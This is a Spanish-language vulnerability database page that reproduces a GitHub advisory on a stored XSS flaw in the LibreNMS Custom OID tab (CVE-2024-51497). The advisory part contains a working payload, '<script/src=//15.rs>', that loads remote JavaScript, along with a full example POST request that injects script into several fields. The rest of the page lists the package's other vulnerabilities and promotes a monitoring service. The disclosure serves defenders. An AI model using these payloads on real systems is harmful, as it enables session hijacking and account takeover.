Alta

LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php

  • Publicada: 15.11.2024
  • Actualizado: 11.10.2026 10:22

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Custom OID" tab of a device allows authenticated users to inject arbitrary JavaScript through the "unit" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.

Details

When creating a new OID for a device, an attacker can inject an XSS payload into the "unit" parameter. This payload is reflected in the "Unit" column of the table displayed in the "Custom OID" tab of the device.

The payload used to exploit this vulnerability is: <script/src=//15.rs>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The vulnerability is due to improper sanitization of the "unit" parameter before rendering it in the HTML output. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90

PoC

  1. Create a new OID for a device using the following payload in the "unit" parameter: <script/src=//15.rs>
  2. Save the OID.
  3. Navigate to the "Custom OID" tab of the device.
  4. Observe that the injected script executes in the "Unit" column of the table.

Example Request:

http
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

device_id=15&device_name=test4'&ccustomoid_id=2&type=customoid&action=save&name=test1<script>{onerror=alert}throw+'OID'</script>&oid=test2<script>{onerror=alert}throw+'OID'</script>&unit=<script/src=//15.rs>&divisor=1&multiplier=1&user_func=test4<script>{onerror=alert}throw+'OID'</script>&limit=0&limit_low=0&limit_warn=0&limit_low_warn=0&passed=on

Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Custom OID" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer librenms/librenms < 24.10.0 24.10.0

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
Debilidad (CWE)
CWE-79
Plataforma
Composer
Paquete
librenms/librenms
Publicada
15.11.2024
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-gv4m-f6fx-859x - CC BY 4.0

Historial de vulnerabilidades: librenms/librenms

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (106) en el archivo
Entradas en total
106
Primera → última
10.2019 08.2026
Sin corrección
6
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 39
  • Media 56
  • Baja 6

Divulgaciones por año

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Gravedad:
  1. Alta · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. Alta · 7.1 CVE-2020-36947 <= 1.46 sin corrección
  3. Crítica · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  4. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php esta entrada
    Alta · 7.5 CVE-2024-51497 < 24.10.0 24.10.0
  5. Alta · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  6. Alta · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  7. Alta · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  8. Alta · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  9. Alta · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  10. Crítica · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  11. Alta CVE-2022-29712 < 22.4.0 22.4.0
  12. Crítica · 9.8 CVE-2019-10665 <= 1.47 sin corrección
  13. Crítica · 9.8 CVE-2018-20434 = 1.46 sin corrección
  14. Alta · 8.8 CVE-2018-20678 < 1.65 1.65
  15. Alta · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  16. Alta · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  17. Crítica · 9.8 CVE-2021-44278 <= 21.11.0 sin corrección
  18. Alta · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
  19. Alta · 8.8 CVE-2020-35700 < 21.1.0 21.1.0
  20. Alta · 8.8 CVE-2019-10671 < 1.50.1 1.50.1
  21. Alta · 8.1 CVE-2019-12465 < 1.53 1.53
  22. Alta · 7.5 CVE-2019-12464 < 1.53 1.53
  23. Alta · 8.8 CVE-2019-12463 >= 1.50.1, < 1.53 1.53

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.